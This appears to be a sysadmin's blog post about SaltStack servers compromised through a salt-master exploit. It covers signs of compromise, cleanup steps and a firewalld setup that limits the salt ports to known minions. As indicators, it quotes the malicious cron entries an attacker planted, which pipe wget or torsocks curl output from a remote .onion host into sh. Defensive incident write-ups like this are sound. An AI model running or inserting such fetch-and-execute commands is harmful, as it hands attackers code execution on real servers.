SaltStack Exploited!

Well after many years someone has found an exploit in saltstack!

Three things caught my eye when my PROD and Dev servers appeared compromised:

  1. The httpd was stopped triggering an email storm from Uptime Robot and
  2. Two unknown processes suddenly appeared in “ps afx” output and
  3. High CPU usage.

Things to check are files appearing in “ps axf” output called salt-minions and/or salt-store. They are usually running from /tmp or /var/tmp.

Also check your crontab, I found a last line entry:

* * * * wget -q -O – | sh > /dev/null 2>&1

However the exploit failed to deploy as I found this in my cron emails:

Subject: Cron torsocks curl http://5rgndaykmk3kpamm.onion/ | sh > /dev/null 2>&1
/bin/sh: torsocks: command not found

So far I have:

  • Shutdown the salt master for the time being.
  • Removed the salt-minion packages from all hosts.
  • Removed the “salt” package from all hosts.
  • Check sshd files in /root/.ssh
  • Changed the root password.
  • Checked file timestamps for changes.
  • Cleaned up the cron.
  • Checked the filewalld config.
  • Checked each running executable to make sure it is what it says it is, I don’t run a lot on each server so it’s not like I have 1000’s of files to check.
  • Looked in /tmp, /var/tmp etc for lingering files
  • Checked the mail queues for spam etc.
  • Setup a new firewalld zone to restrict access.
  • Patched the salt-master and restarted it with a tighter firewall control.

Using FirewallD to block access

Setting up firewalld to only allow your minions to access the service is relatively simple if you create and configure a firewall zone, then associate a list of valid IP’s to the zone and finally the relevant ports.

To make the zone work correctly, you need to remove the salt ports 4505 and 4506 from the public zone, which is how most of the exploited servers would have been configured.. and why you ask? Well the SaltStack documentation says to open them to allow the minions to communicate!

firewalld zone config

First create a zone called “saltmaster”:

#firewall-cmd --new-zone=saltmaster --permanent
#firewall-cmd --reload

Now associate the ports to the new zone:

#firewall-cmd --permanent --zone=saltmaster --add-port=4505-4506/tcp
#firewall-cmd --reload

firewalld ipsets config

I find using ipsets to group a list of IP’s a good way to manage access and block all other attempts. The command syntax is as follows:

#firewall-cmd --permanent --new-ipset=saltminions --type=hash:net --option=maxelem=256 --option=family=inet --option=hashsize=4096
#firewall-cmd --reload

Now associate the ipset and the zone:

#firewall-cmd --permanent --zone=saltmaster --add-source=ipset:saltminions
#firewall-cmd --reload

Now assign the salt-minion’s IPs to the set and they should be able to access the salt-master (do a port scan from a public web site and double check):

#firewall-cmd --ipset=saltminions --add-entry= --permanent
#firewall-cmd --ipset=saltminions --add-entry= --permanent
#firewall-cmd --ipset=saltminions --add-entry= --permanent
#firewall-cmd --reload

Now lets list out our config to check it, first lets see the ports on the public zone and the saltmaster zone:

firewall-cmd --zone=saltmaster --list-ports
firewall-cmd --zone=public --list-ports

If any zones have the SaltStack ports defined, you need to remove them otherwise the new zone will not be in effect.

Here is the complete config in one block:

firewall-cmd --new-zone=saltmaster --permanent
Firewall-cmd --reload
firewall-cmd --permanent --zone=saltmaster --add-port=4505-4506/tcp
firewall-cmd --permanent --new-ipset=saltminions --type=hash:net --option=maxelem=256 --option=family=inet --option=hashsize=4096
firewall-cmd --permanent --zone=saltmaster --add-source=ipset:saltminions
firewall-cmd --ipset=saltminions --add-entry= --permanent
firewall-cmd --ipset=saltminions --add-entry= --permanent
firewall-cmd --ipset=saltminions --add-entry= --permanent
firewall-cmd --reload

Relevant Links

Prof Of Concept (Not tested)